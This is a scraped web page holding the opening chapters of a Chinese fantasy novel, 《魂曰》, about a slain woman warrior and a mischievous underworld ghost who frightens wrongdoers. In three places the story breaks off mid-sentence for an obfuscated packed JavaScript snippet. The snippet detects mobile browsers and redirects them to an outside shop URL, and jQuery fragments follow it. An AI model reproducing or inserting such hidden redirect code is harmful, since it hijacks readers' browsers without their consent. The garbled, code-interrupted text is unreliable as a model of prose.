《魂曰》 1. 楔子 “驾——” 风卷黄沙,袭蔓了几千几万里。 与天际交接之处,渐渐显现出烽火台的轮廓。 没有硝烟。 可怎么会没有硝烟呢。 难道…… 遮天蔽日的沙幕之中,一声清亮的马嘶声陡然响起,枣红色的烈马踏在黄沙之上,犹如一团烈火,向着烬烽关疾驰而去。 崔禾俯身紧贴在马上,一身利落的劲装,她微昂着头,眯着眼避着劈脸而来的黄沙,尽力望向远处。 “烬烽关遇袭,八面围剿,情况危急,南将军重伤,乞速发援军,火速驰援!” 崔禾的眼神晦暗几分。 那晚的急报分明用的是烬烽关的箭矢,不能有假。 难道是烬烽关已经失守了! 崔禾右手紧紧攥着缰绳,指节因用力而泛白,虽有兜帽掩着发丝,额前的碎发却还是被风沙粘在汗湿的额角上。 南不宴,你可千万不能有事!说好了今年的上元节一起过的。 支援的军队还在百里之外,崔禾快马加鞭,一人冲在最前头。 可是越往前,冰凉的烽火台就越清晰,若是消息无误,那烬烽关…… 不!不可能! 崔禾一时心急,关隘的视野不好,烈马的喘息声越来越重,少女掌心的缰绳已经被汗水浸得发滑,可她依旧在不停催促着马儿的脚步,左手不自觉攥紧腰间的一枚玉佩。 黄沙迷得人几乎睁不开眼,崔禾没注意到前方沙丘之后压低的黑影,也没听见利刃出鞘时候那丝微不可察的寒声。 “咻咻咻——” 凄厉的破空声快速闪过,三支黑色的箭羽突然从沙堆之后射出。 烈马被击中受惊,前蹄猛地立起,发出一声痛苦的嘶鸣,箭羽深深扎进它的皮肉,鲜血瞬间溅出。 崔禾猝不及防,身体险些被甩下马背,她本能地死死拽住缰绳,可还没等她稳住身形,七八名身着灰甲的敌军已从沙丘后窜出。 糟糕!中埋伏了! 崔禾在马倒地之前翻身而下,腰间抽出的佩剑劈开了最先刺来的枪尖。 可敌军早有埋伏,人数远超她一人,长枪从四面八方袭来,每一次格挡都让她手臂发麻。 寡不敌众,一招一式之间,明显力不从心。 额角不知何时被枪尖划伤,鲜血混着汗水流进眼里,视线瞬间模糊,只能凭借听觉判断敌人方位。 “崔姑娘!乖乖束手就擒!跟着老子去将他南不宴一军,说不定到时候主帅还能留你一命!” 崔禾心里不由暗叫不好。 看来那情报是假的,这些人就在这等着她,就等着把她劫持走,威胁南不宴交出烬烽关的城池。 一柄长枪抵在崔禾的后背,迫使她无法动弹。 情况危急,崔禾紧张的心情反而不由放松,若真是如此,那烬烽关定然没有沦陷,那南不宴,至少没有性命之忧。 “崔姑娘,跟我们走一趟吧。” 几个小卒将长枪抵在崔禾的身后,逼迫着她向前走。 呵,做梦! “噗嗤——” 崔禾猛的向后退了一步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165120|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰冷的长枪从她后背刺入,带着滚烫的血珠从胸前透出,眨眼间就染红了衣衫。 今日就算是死,也不能成为任何人的软肋。 长枪抽出,少女的身体猛地一僵,手中的长剑落地,在黄沙中滚出几圈。 她艰难地转头,望向烬烽关的方向,瞳仁里仅存的景象渐渐涣散,最后一丝力气随着嘴角溢出的鲜血消散,僵倒在地。 “这……这如何向主帅交差,先生,先生现下该当如何啊?” 先生?崔禾视线模糊,但还能听到只言片语,邻国北漠向来只会硬打,如今竟不知一反往常,请了先生? 视线里出现一个黑乎乎的穿着斗篷的身影,想来,这便是北漠人口中的先生了,可惜合芜看不见他的模样。 那人沉默良久,只是缓缓道:“……左右目的已是达到,便先走了。” “先生就放她在这了?主帅不是说要把这女人带回去要挟南不宴吗?” “哎呀!你这厮竟然还敢质疑先生,先生金口玉言错不了,这人怎么看着都活不了,一具尸体能给南不宴造成什么威胁!支援的军队快来了,带着她还是个累赘,快撤!” 耳畔的马蹄声渐渐消失,只留下一人一马倒于黄沙之中。合芜视线发黑,指尖也感受不到流沙,最后只剩下耳畔野风的呼呼声。 …… 阿禾…… ……阿禾…… 阿禾! 好像有人在叫她……崔禾看不见,摸不着…… 好像有人在她耳边哭得撕心裂肺…… 是他吗…… 2. 烽烟烬里故人归(一) “咕咕——咕——” 张宅的树影在夜风之中黑乎乎地粘成一片,深夜的鸟叫在雨声里断断续续,像是被索命之后半死不活的哀叫。 “老爷放心,宅子周围已经花重金请过高人布上阵了,时辰不早,您早些歇息。” 雕花的木门带上,隔绝屋外飘进的雨丝。 管事的将白日里布阵道士留下的符纸贴在窗沿上之后,缓缓关上屋门,退下。 “最近真是干什么都不顺。”张万财垂着脑袋嘀咕着,月余前他在青莲镇看上的小妮子半道上不明不白地就死了,前几日丢了一个歌女之后就像是被鬼缠上了身,“早就应该请高人来驱驱邪祟了,这钱省不了,省不了……” 他坐在紫檀木椅上,全身紧绷地摩挲着镶嵌着金丝线的袖口,眼神时不时左右瞟着,像在找什么常人看不见的东西,一副又想看见又害怕看见的模样。 窗外的月光被乌云压得只剩一丝,淅沥的雨点砸在院里的草木之上。 屋内只吝啬地点了一盏油灯,灯芯被窗缝里吹进的风搅得忽明忽暗,一旁屏风投在墙上的影子晃动着,像个蜷缩着的人,正一点一点往他这边挪。 这几日浑身不对劲,张万财慌得直冒冷汗。 一阵阴风吹过,烛影疯狂晃动—— “谁?!” 张万财猛地拍桌,灯芯“噼啪”炸了个火星,墙上的影子瞬间消失。 无事的无事的,已经请过高人布阵,妖鬼焉存……张万财哆嗦着嘴唇。 可下一秒,他就听见身后传来细碎的脚步声,不是家丁穿的布鞋,那声音不沉,轻飘飘的,像是绣鞋踩在灰砖上的“嗒嗒”声,轻得像羽毛一样,但即使如此,在雨声里也格外清晰。 “谁!我警告你,我可是方圆百里的富商!我我我,我不怕你!” 有钱能使鬼推磨……有钱能使鬼推磨…… 张万财僵直地站起身,嘴里默念着,粗重地呼吸声在寂静的夜里清晰可闻。 布满血丝的眼睛瞪得滚圆,一看就是好几日未有好眠。 这几日一直东躲西藏,再也没有出过宅子,可总觉得有那腌臢的东西阴魂不散,日日追在身侧。 忽然。 “大人—— “您找我吗?” 一道带着寒气的女声在张万财的身后轻悠悠地响起。 张万财僵着脖子回头,看见那日被他丢在池塘里的青楼女子,一身湿透了的月白绣裙,裙摆滴着水,在地上积成小小的水洼,静悄悄地站定在屏风前。她的头发披散着,水珠顺着发梢往下淌,皮肤泡得发白起皱,临死前被他捅瞎的双眼,现下眼球不知道去了哪里,只剩下黑洞洞的眼眶,正对着他“看”。 “啊啊啊啊啊!!!” 张万财抓过桌上的镇纸就砸过去,可镇纸穿过女子的身体,“哐当”一声撞在屏风上。 “你,你别过来!!!” 合芜缓缓飘过来,绣鞋离地面半寸高,飘过的地方,留下一道水渍。 “大人,您昨儿还说喜欢我这双眼睛呢。”她抬手,枯瘦的指尖抚过自己的空眼眶,“您说它像天上月,怎么转头就把它戳瞎了? “怎得转头……就把它戳瞎了!!!” 合芜龇着牙,一瞬间暴怒而起,腾空向着张万财扑过去。 “佛祖菩萨!八路神仙啊!!!”张万财的喉咙里发出惊惧的惨叫,他连滚带爬地推开屋门,将门上贴好的符纸撕扯在地,符纸被夜风吹起,发出“哗啦啦”的声响。 合芜轻飘飘追出来,正追得起劲,忙不迭被空中翻飞的符纸“啪”一下糊了眼。 “你*——”合芜猛地刹住车,胡乱伸手将脸上的符纸拿开,正要扔掉,忽觉这长长黄纸上的红色花纹还蛮好看的,随手粘在自己的衣摆上,之后忙向张万财追去。 张万财往后院的林子里跑。 地面已经被雨水击打得泥泞不堪,淤泥绊脚,他深一脚浅一脚地在林子里乱撞,慌不择路。 “大人你跑什么。” 合芜来了一句。 脚下一软,一身横肉的张万财早已跑不动,一个狗吃屎向前面朝下,摔在地上。 他翻了个身,看着那鬼魅女子越来越近,向前一窜,一下攥住他的脚踝,透过鞋袜传来的彻骨冰凉触感令其半边身子都麻了。 “放开!放开我!”他疯了似的踹腿。 合芜被他脚蹬了两下,那威力蛮大,她只能讪讪收手,这厮怎的比上次过年在人界看到的猪还难抓。 张万财终于挣开那只手,连滚带爬的一个翻身,又开始向前开始爬。 林子里的夜雾浓得化不开。 “咕咕——咕——” 鸟叫又响起来,这次更近了,仿佛就在头顶的槐树上,张万财没敢回头。 “大人,等等我呀……” “你不要再追我了!” 张万财悔不当初,前几日他因一己私欲,强迫了一个青楼女子,随后抛尸池中,可这以前做惯的事,怎就这次被缠上了。 张万财忽感觉头顶一暗,女子竟飘在了他的正上方,脸离他只有一尺远,黑洞洞的眼眶里流出浑浊的水,滴在他的脸上。 “抓到了。” 合芜轻巧道。 她嘴角咧开一个诡异的弧度,一直咧到耳根:“大人……” 话没说完,张万财扑通跪在地上:“饶……饶命……” 张万财饶命的声音逐渐细若蚊蚋,颤抖不成句,他□□突然一热,尿骚味弥漫开来。 合芜嘴角微搐,嫌弃地捏住自己的鼻子,向后飘了一段距离才停住。 张万财开始胡言乱语,一会儿喊“我给钱”,一会儿又哭“我错了”,最后竟对着空气不停磕头,额头撞在泥地上,发出“咚咚”的闷响,一时间涕泪俱下。 合芜张牙舞爪的动作一顿。 张万财瞳孔涣散、嘴角流涎,一副失心疯模样,在地上又磕了几个响头之后,抽搐了两下就没了动静,只有喉咙里还发出听不清的痴响。 合芜歪着头打量着地上不时蹬一下脚,抬一下手的张万财。 真没意思,这次这个怎么这么不禁吓,她还没使几招呢。 俗话说做鬼三步曲,先飘,再追,后索命,可是合芜的任务里没有索命这一项,她就擅自作主把最后一项改成了吓得人屁滚尿流,毕竟要吓的人都是穷凶极恶之徒,不能让他们死岂不是便宜了他们,但是阎王老子说地府有规定,索命自有人去索,她的任务仅仅是吓人,合芜也只好作罢。 富商?也不过如此,刚才还想着让她推磨,真是好大的口气。 合芜轻轻一跃,坐在了一旁的枝叉上,身上的衣裳在转身时换了一套。 月白的湿布衫幻化为一件暗绿褂子,底下的灯笼裤还是暗红色的,地府最近流行那种长长的,盖住脚的长褂子,但是合芜就喜欢她自己的这套穿搭,长褂子穿起来总是容易绊住她的脚,还是这套爽利些。 她翻转了几下手腕子,一面镜子忽闪着出现在面前。 “哎呀我去——” 合芜急忙闭上眼睛,镜子里这张脸白得可怕,这死状也太惨了点,脸都泡发了,脖颈处的皮都打着卷,难怪张万财吓得尿了裤子。 在地府待了两年,死人没少见,死状可怖的也有不少,这个可以排到前几名,合芜点点头,暗自在心里排了个名,上次伪装这么恐怖的死状,还是报复一个活活烧死一家老少的醉汉。 伪装成一具被烧得一身黑的焦尸,这次是一身白,嘿嘿,还挺登对。 等到镜子再放下时,合芜的脸已经恢复成原貌,一双圆圆的杏眼,小巧的鹅蛋脸,一对齐眉的耳朵,头发长长的直到脚踝,粗略地编成一条麻花辫,用花绳绑着,垂在身后。 俨然一副乖乖姑娘的模样。 当时她凝聚身形,诞生在地府的时候,阎王殿里那些老不死的也是这么评价她的,但是后来他们发现他们想错了,而且是大错特错。 合芜天生的顽劣性子,和地府里的那些鬼魂们不同。 世人都说鬼魂可怖,夺人索命,可是鬼魂才不可怖,甚至有些鬼魂接到了任务都没胆子去吓人。只有心里有鬼,做过亏心事的人才会被鬼魂吓。 谁家鬼魂没事去吓一个没做过坏事的人啊,那被发现了可是不得了的,会被阎王往下移一个往生道,一开始还可以投胎到一个权贵家,结果被阎王发现你乱吓人,说不定就投身到猪圈里头去了。 但是合芜只听说过,还没见过谁真的被投胎成了猪,因为她见过的鬼魂大多都是文文静静的,可好相处。 她算是其中最皮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165121|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个。 她偷过彼岸娘子用来装饰忘川和奈何桥的彼岸花,拿来做皮筋扎头发,还偷喝过孟姨的汤,那次差点小命,哦不对,小魂不保,幸好逃得不快,直接倒在孟姨面前,及时吃了解药。 孟姨的汤不好喝,别喝。 合芜喜欢听阎王殿里那些老不死的说她的来历,因为这让她很有优越感,听完一次,不久之后又想听。那些个活了千年万年的鬼反正觉着无聊,也就不厌其烦地同她一遍遍说道。 合芜听说她死得不明不白,成了天地间的一抹残识,本来都无望投胎,后来恰巧有机会成了一个存活期三年的鬼魂,还是在阎王殿中心幻化成型的,鬼魂们觉着新鲜,再加上合芜老闯祸,导致现在地府里没有谁不认识她。 虽然出名的方式不是很光彩,但是那又怎样,本姑娘起码出名了。 本就是只有三年“试用期”的鬼魂,这鬼生已经很辉煌了。 合芜没有什么任务,但不知道后来阎王老子是没事闲她闹腾,还是有哪个坏心肠子的在他耳朵边上吹风,阎王老子最后决定给她这短短的三年布置任务。 吓一百个活人。 这明明是有编制的鬼魂干的任务,干嘛要她来干。 阎王说是让她磨练磨练,任务要是完成了,奖励她投个好胎。 合芜一开始是不愿意的,她本来就只能当三年的鬼,还没自由惯呢,可是后来她发现地府也没什么好玩的,除了给那些刚从上边下来的人发个号码,带个路,喝个浓汤,过个桥,也就没其他事干了,无聊之余只好选择接受了这份差事。 她才不是为了投个好胎。 合芜偷偷跑到阎王老子的轮回殿里翻看过命簿,牲畜道里没有她,那一切就都好说。 张府的人还没发现他们的老爷倒在林子里,合芜也就不着急走,坐在树杈子上,从随身的一个小布包里掏出来一本簿子。 这簿子是阎王给她的,每次她闲得没事干了,上头就会浮现出一个名字,合芜就知道她的任务来了。 任务完成之后呢,取来被吓之人的眼泪,她就可以把上头的名字划掉。 之前合芜试过偷懒,在没有做任务的情况下就把名字划掉,结果就是被罚了那一年不让她过鬼节。 鬼节哎!那可是鬼节! 可热闹的! 合芜瞪着簿子,现在每次看到它都能想起那段痛苦的记忆。 刷刷两下,合芜用法术将张万财脸上还没有干的眼泪引上来。 眼泪渐渐融进书页。 合芜等着…… …… …… “咻——” 簿子上出现了一个潇洒的勾——是阎王老子批阅通过的记号。 “这么慢,一定是又在跟孟姨他们打牌!”合芜嘟囔着合上簿子。 雨不知道什么时候就已经停了。 合芜长舒一口气,还剩最后一步。 她闭上眼,将双手食指与中指并拢,放置额前,语调幽幽道: “魂曰无界,暂借耳舌。” 一道白光闪过,随后,一个身影呼啦啦转着圈逐渐在地上显现出来。 “小妹妹,怎么样,姐姐办事你放心。”合芜自认为很成熟,见着年龄相仿的姑娘都喊妹妹。 显现的白光之下,是一个与方才合芜装扮模样如出一辙的身影。 那姑娘稳住身形后,空洞洞的眼眶盯着地上抽搐的张万财,周身弥漫着恨意,她什么都没说,直接向着张万财扑过去,又是拳打又是脚踢,但无一例外,皆是像打棉花一样,扑空。 合芜没说话,等着她发泄完。 那姑娘捶打得累了,这才停下来。 合芜道:“莫要担心,自会有人来收他的。” 那姑娘抬首向着合芜坐着的方向,深深行了一礼,随后渐渐消散。 合芜跃下槐树,向着浓雾深处走了几步,最后回头看了一眼倒在地上的张万财。 那家伙好像睡着了? 合芜思索片刻,跑回去对着张万财踩了一脚,只听哎呦一声,她立马头也不回向着浓雾里跑去。 让你睡,本姑娘还没休息呢! “咕咕——咕——” 随着一声鸟叫,浓雾里哪里还有合芜的身影。 夜很深,很静。 3. 烽烟烬里故人归(二) “要说这整个京州,令万千少男少女艳羡的一对比翼鸟,当数当朝左都御史南都堂与其夫人崔氏!” 京州最热闹的市集,每到月华初升,白日里那说些盖世英雄的说书人便开始讲起了红笺小字。 说书先生将惊堂木款款拍下:“不讲门当户对,只求心意相通,两人甚至还未成婚,就已羡煞旁人。那南都堂何许人也,‘千里护烬烽’都听说过吧,想当年南都堂南不宴还是一名少年将军,就已经率领座下万千兵马所向披靡,所到之处战无不胜,敌人只闻其名讳便直接退出二里地,那叫一个闻风丧胆——” “哎哎哎!先生,先生!”有姑娘坐在茶馆的椅子上实在忍不住好奇,出声提醒道“现在是夜场,可不能再讲白日里的乒乒乓乓了。” 有人应和:“就是啊先生,这比翼鸟有何说法说给我们听听呀,那崔氏又是如何与南都堂认识的?” 说书先生捋捋胡须,嘿嘿笑着摆摆手。 “上头了莫怪啊,莫怪。”随后摆好状态继续道,“要说那崔氏,名叫崔禾,出生市井人家,年幼时就失了爹娘,被镖局的崔胡子收养后就生养在了镖局里。那崔禾说平常也平常,说不平常也不平常,小小年纪练就一身武艺,只要是她收的镖,没人敢劫。听说呀,两人的第一次见面,南都堂就一箭被崔氏从马上射了下来。” “射下来的?” “天呐,金贵公子被镖局之女一箭射下马,如此一来岂不是有了深仇大恨,如何又能心悦上?” 夜场听书的姑娘居多,不免叽叽喳喳的如同麻雀一般。 说书先生眉头一抬:“哎,这就要从头说来……” …… 滔滔不绝一番,不免口干,说书先生拿起桌上的杯盏微抿一口。 “然后呢?如此完美的爱情,之后又如何了呢?”姑娘们听得如痴如醉,穷追不舍道。 茶盏磕在桌上发出一声轻响。 先生幽幽开口:“可知为何南不宴弃了将军之职,改做左都御史?可知为何光荣无数的烬锋关一战后,南不宴便不再带兵打仗?可知那对比翼鸟为何不再快意飞翔?” “为何?” “鸟不飞,伤也,折翼也……” “折翼?” “两年前,自烬锋关一战后,崔氏被设计,身死魂灭,南都堂不忍失去爱人之苦,不再插手军中之事。有人说他悲痛过度失忆,也有人说他在寻找当年的真相……” “竟是……阴阳两隔……” 众人不免唏嘘。 茶馆的角落里,有一个小身影动了动,暗绿与暗红相间的衣裳在整个茶馆里可谓是毫无存在感。 合芜缓缓抬起枕在手臂上的头,打了个大大的哈气,刚想伸展一下。 “哦呦呦呦,麻了麻了。”她龇牙咧嘴,急忙揉起手臂。 人界通往鬼界的大门若无例外,都只在子时大开,其他时辰若想通往两界,若非有高人相带,无法通过。 合芜因为这事还与那阎王老子起过口角,有任务的时候,她每日子时就要前往人界,等到事情完成之后还无法及时回到鬼界,只能在人界找一个落脚的地方先歇歇。 人界的人都比鬼界的鬼小气。 合芜只落脚,不点吃食,不知道被店家赶出来了多少次。 这兜兜转转,才找到了这可以闲坐着的小茶馆,只是这茶馆里有个说书先生日日说书,聒噪是聒噪了点,但好歹不用付银子,合芜也就不计较。 这时辰快到了吧,合芜用刚恢复知觉的手算了算时辰。 “得嘞,先走你!”她缓缓站起身,打算到周边再转悠转悠。 “先生,那南都堂现如今还未娶妻吗?” “想知道?”说书先生掂了掂手里收钱的盘子,“欲知后事……” 台下的小娘子们听得入迷,怎能罢休,争相抢着付银子。 本来茶馆就拥挤,合芜面前的路一下子就被堵严实了。她将垂在额前的碎发往耳朵后面拢了拢,轻呼一口气。 “后续就是,那南都堂谁都没娶,守身如玉。”合芜大声嚷嚷着,经常来这茶馆小憩,这故事都听了百八十回了,每次都有小娘子花钱听后续,她耳朵都快起茧子了,要是支个摊儿,她都能讲个一二三。 只见那说书先生脸一阵青一阵白的,面色难看,手里收钱的盘子也不叮咚响了:“哪里来的小丫头,胡说八道什么呢?!” “我可没胡说,略略略!”合芜一脚踏上茶桌,向前一跳,再向前一跳,地上没的走,那就踩桌上。 “这成何体统!成何体统啊!”说书先生见没油水可捞,立马吹胡子瞪眼。 “姑娘你说的是真的吗?南都堂未娶?那样年轻俊逸的左都御史真不知道还会喜欢上怎样的姑娘。” “对呀对呀……” 合芜一边在茶桌上蹦跶着,一边道:“我不知道真不真。” 她确实不知道,因为两年前她刚在地府化形,没见过那南不宴的未婚妻崔氏,化形之后也没见过。若是他们俩情真意切,崔禾怎么会不在鬼市子等着南不宴,若是崔禾直接转世投了胎,那他们的感情又怎会如传言之中一般忠贞不渝。 “但我心想啊……”合芜神秘兮兮弯腰同姑娘们说道,“你们多半是被骗了,而且我猜啊,你们那南都堂估计啊,不喜欢女人。” “不,不喜欢女人?!” 合芜摸摸鼻子:“话本里不都这么写的吗,而且你们看啊那说书的是南不宴肚子里的蛔虫吗,还是他们每次亲热的时候他都在旁边看着呀说的神乎其神的,好像他看见过似的。那他能说我不能说?我这个保准更加刺激!” 不愧同为女子,那群小娘子们的胃口瞬间就被合芜吊了起来。 “为何如此说,之后又发生了什么?”桌下的众多小娘子瞬间围过来,手忙脚乱地往合芜的手心里、衣兜里塞铜钱。 “呃,这个嘛……”合芜没想到他们会这般热情,脑子里存货不多,“这这……” 但看着那逐渐堆积起到手心里都拿不下的铜镚儿心里美滋滋的,这样一来,若是自己之后还要在人界就久留,也有挥霍的资本了不是,合芜想着,正要胡乱瞎说一段。 忽然,红绿褂间的那一小串小铜铃叮铃铃得响了起来。 不对啊,这不是还有一个多时辰才到子时吗?这铃铛怎么这个时候就响了? 合芜正站在茶桌上,突然腰像被什么力量拽了一下,然后腿脚就像不受控制一般被拉着往前走。 “哎姑娘!姑娘别走呀!”小娘子们追着合芜喊,“后续,后续如何呀?” “后续后续,后续下回分解吧!哎呀!”合芜的腿飞快跑着,越过几张茶桌,奔出茶馆,腿都跑出残影了。 咋回事呀,咋回事呀? 腰间的铜铃还在响个不停,泛着淡黄色的金光。 周遭的景色飞快换着,出了灯火热闹的街市,出了城门,过了护城河,连京州郊外的村子都过了,合芜还没停下来。 “这铃铛不会坏了吧?救命啊救命啊,有没有鬼呀!有没有鬼呀!!!” 这深山老林的,没有人总有鬼吧,这要再跑下去,她的腿就真要废了呀。 正跑着,突然脚尖被一枚镶嵌在泥地里的石子狠狠绊了一下。 “哎呦喂——” 大脑来不及思考,脑子里一片空白,合芜只来得及用手护住脸。 完了完了要摔了。 …… …… 嗯? 嗯??? 这,还没摔到地上呢? 合芜小心地将捂在脸上的手拿开,只见她身子前倾,腰间萦绕着一圈金黄色的流光,将她稳稳托住。 “这是……” “阿芜。” 背后传来一声轻唤,那声音清冽,自带一种清凉意,温柔缠绵。 合芜身子一颤,这声音,她用脚趾头都能听出来是谁。 “栖桐!”合芜眼神一亮,像是被云絮裹住般,稳稳落回了平地。 清风吹过,林子里洒下灿烂的凤霞,显得一切都恰到好处。 “栖桐!” “仔细些,这山径湿滑。” 熟悉的声音带着清润的笑意传来,合芜抬头的瞬间,呼吸都慢了半拍。 栖桐就站在几步外的枫树下,月白长衫被山风拂得微微晃动,衣摆绣着的银线流云泛着淡光。他发间没束冠,只用一根玉簪松松挽着,几缕墨发垂在颈侧,随着动作轻轻晃动。 他眉眼生得极清俊,眼尾微微上挑却无半分艳俗,反倒添了几分仙人的疏离感,可看向她时,那双浅褐色的眼眸里总是盛着化不开的温柔。栖桐指尖还凝着一点淡淡的金色微光,正是方才扶她时用的法术,见她站稳,那点光便轻轻散了,融进山间的雾气里。 “栖桐?你怎么会在这里!”合芜惊喜地睁大了眼,快步走到他面前,“你前几日不是说天界有事,要离开鬼界几日,怎的今日就回来了?” 栖桐看着她眼底亮晶晶的模样,指尖不自觉蜷了蜷,又很快松开,他走到合芜身边,衣袖间的带子不经意间触碰到合芜的手背。 “刚忙完,方才回鬼界去你住所见你不在,想着你今日定是又来做职了,便过来看看,若是你已然完事,也好接你一同回去。”他说着,目光落在合芜的眉眼上,语气自然。 “那是,你可是天界的神仙,自然神通广大,哦,原来方才在那茶馆里是你施法将我带来这里的?”合芜了然,捶捶腿,“那栖桐你下次能不能施那种不用我自己动腿跑过来的法术呀,就是方才我这一路跑的腿脚着实是有些酸了。” 栖桐低头瞥见合芜有些粘上泥土的绣鞋,蹲下身,从怀中拿出一方帕子轻轻擦去她鞋上的泥渍:“倒是我思虑不周了,那下次聚朵祥云将你运来可好。” “哎,不用……这样的,栖桐。”合芜下意识地想将脚收回,却被栖桐攥住脚踝。 “没事。”栖桐笑着,将帕子叠好重新放回怀中。 太阳已经看不见了,天际的亮光也快要殆尽。 “那我们走吧?” “好。”栖桐脸上的笑容一直都没有下去过,他轻轻抬手,合芜只觉眼前的树林逐渐融化成一团,各种色彩交互融合着,绚烂的色彩渐渐变得暗淡。 等到合芜眨了眨眼,她已经和栖桐一起站在了奈何桥边。 地府也已浸入夜色,是简单的灰蓝色,合芜的暗红绿色衣裳很快融入其中,倒是栖桐的月白长衫,在这暗夜里扎眼得很。 “那我就先……” “阿芜。” “嗯?” 栖桐从袖子里取出一支折下的花枝。 “哇!这是什么花呀!好好看!”合芜激动得不行,她平日里没有什么爱好,就爱收集一些花花草草,只可惜鬼界的花草种类稀少,相比之下,她更喜欢人界的花草,栖桐知道她这个爱好,经常会带给她一些她喜欢的东西。 “你喜欢就好,这是海棠,回去养在琉璃瓶里,能开上许久的。” 合芜没察觉他语气里的刻意,只顾着开心:“太好了!那你跟我一起回蘑居吧,我正好带你去看看我前几日收拾出来一面墙,上面全是我喜欢的花草!” 她拉着栖桐的袖口往前走,没看见栖桐落在她发顶的目光,温柔得能感受到温度似的。 栖桐愣神,任由她拉着,指尖轻轻碰了碰被她攥住的衣料,轻声应道:“好,都听你的。” 奈何桥前的石板路是通往地府的必经之路,若是投入忘川里的恶魂增多,忘川难免涨水,石板路浸着忘川水的凉意,每次走过都是阴森森的。 过了奈何桥,走过一片曼殊沙华,就是地府最有烟火气的鬼市子。 平日里鬼市子也就那样,即使是吃喝玩乐也弥漫着一股阴气。 但今日却不同,不过几月,便是一年一度的鬼节,地府里的节日一只手都数得过来,这鬼节自然被各路鬼魂们期待着,连带着奈何桥前的石板路都被烘得暖了几分。 人界也有鬼市子,但都只是卖些秘药禁品,接些杀人的勾当。 这地府的鬼市子自然与人界不同。 是真真的,都是鬼的鬼市子。 朱红的灯笼串成长廊,烛火是幽蓝的,照得两侧摊位上的物件都泛着朦胧的光。 合芜挎着布袋子,和栖桐轻快地走在街上。 刚入鬼市子,就见不远处的摊位前围着一群鬼娃娃,摊主是个穿皂衣,判官打扮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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合芜翻到过他的命簿,生前是个御膳房的厨子,因为给贵妃的膳食里麻椒加多了,令贵妃呛着,被削了下巴入了狱。 “加辣不?” 他说话时只能用喉咙发声:“这辣是十八层地狱的业火炒的,吃一口,爽飞。” 地府的居民也不是人人都面貌异常,大多数和正常人没两样。 最角落的摊位摆着些奇怪的小玩意儿:装着鬼火的琉璃瓶、照不出人的铜镜、还有不知道用什么材料做的手环。 前头飘来糖炒栗子的焦香。 “灰爷,来一袋栗子。”合芜从包里数出几文钱放置在桌面上。 “我来吧。”栖桐说着就要掏钱。 合芜摁住他的手:“我来,你都给我带花了,这个我请。” 灰爷笑眯眯着,将炉子一旁装袋的栗子递给合芜:“合合回来啦,来,呦,栖桐上神您也在呀,来合合这包刚出炉的栗子你拿着,上神您等等,我再送你们一袋。” “谢谢。”栖桐接过。 “咳,以后你俩呀来我这直接拿,不用付钱。” “这怎么好意思呀灰爷。”合芜还想说几句。 “那我们就先走了。”栖桐朝灰爷点点头,拉上合芜的手,将她带走。 合芜只好拿着手里的那包栗子晃悠悠地跟在栖桐身后。 灰爷是地府的老人,老得眼神都有些不好使了,听说他的资历甚至比阎王老子还要早,很久很久以前,神界和另外两界还有密切联系的时候,他就已经在地府了,他认识的上神有很多,栖桐就是其中一位,想来他们应该认识几千几万年了。 合芜的小屋在地府一处不打眼的角落,人界的住所是整整齐齐的,神界合芜没去过,但听说是金碧辉煌,那这样一来,鬼界的装潢确实是独树一帜了。 所有鬼按照自己的想法建造房屋,什么形状都行,合芜的住宅就是一朵大大的蘑菇,里面刚好容得下她的一室一厅,“蘑菇”边上还有一间大大的木屋,盖着厚厚的墨绿色苔藓,上面开满了鲜花,里面穿插着合芜偷来的几株彼岸花。 合芜实在是捣鼓不懂造房子的奥妙,她既不是像玄叔那样有一技之长的留冥者,有自己造房子的能力,也不是阎王殿里有编制的鬼差,有房子分配,但好在运气不错找到了这朵大蘑菇。 她只苦恼这“蘑菇”看着未免太可爱了点,不符合她“霸气”的性格,于是在“蘑菇”前的栏杆边立了块牌子。 取名—— “蘑居”。 穿过鬼市子的小巷,再走个两百来步就可以看到蘑居。 合芜跟着栖桐,将一颗栗子抛到空中,仰头用嘴接住,“加吧加吧”地嚼着。 鬼界也有昼夜更替,只是白日里是看不见太阳的,晚上倒是能见着月亮。 合芜在小路上走着,木屋上铺着的苔藓里混着玄叔送的夜光苔藓,在暮色里泛着柔和的绿光。 这还是她上次叨叨自己的蘑居一到晚上就黑黝黝的不美观,玄叔给她找来的。 到了栅栏外,合芜伸手掸了掸蘑居牌子上的灰尘,随后习惯性地抬手推栅栏,木质栅栏“吱呀”一声轻响,屋里突然传来“窸窸窣窣”的动静,像是有人在翻找东西,还带着点细碎的碰撞声。 合芜瞬间绷紧了神经,眉头一皱。 “等等!”合芜顿住脚步,拦住栖桐。 “怎么了?”栖桐疑惑。 “又是哪个小鬼娃娃来偷我的东西?” 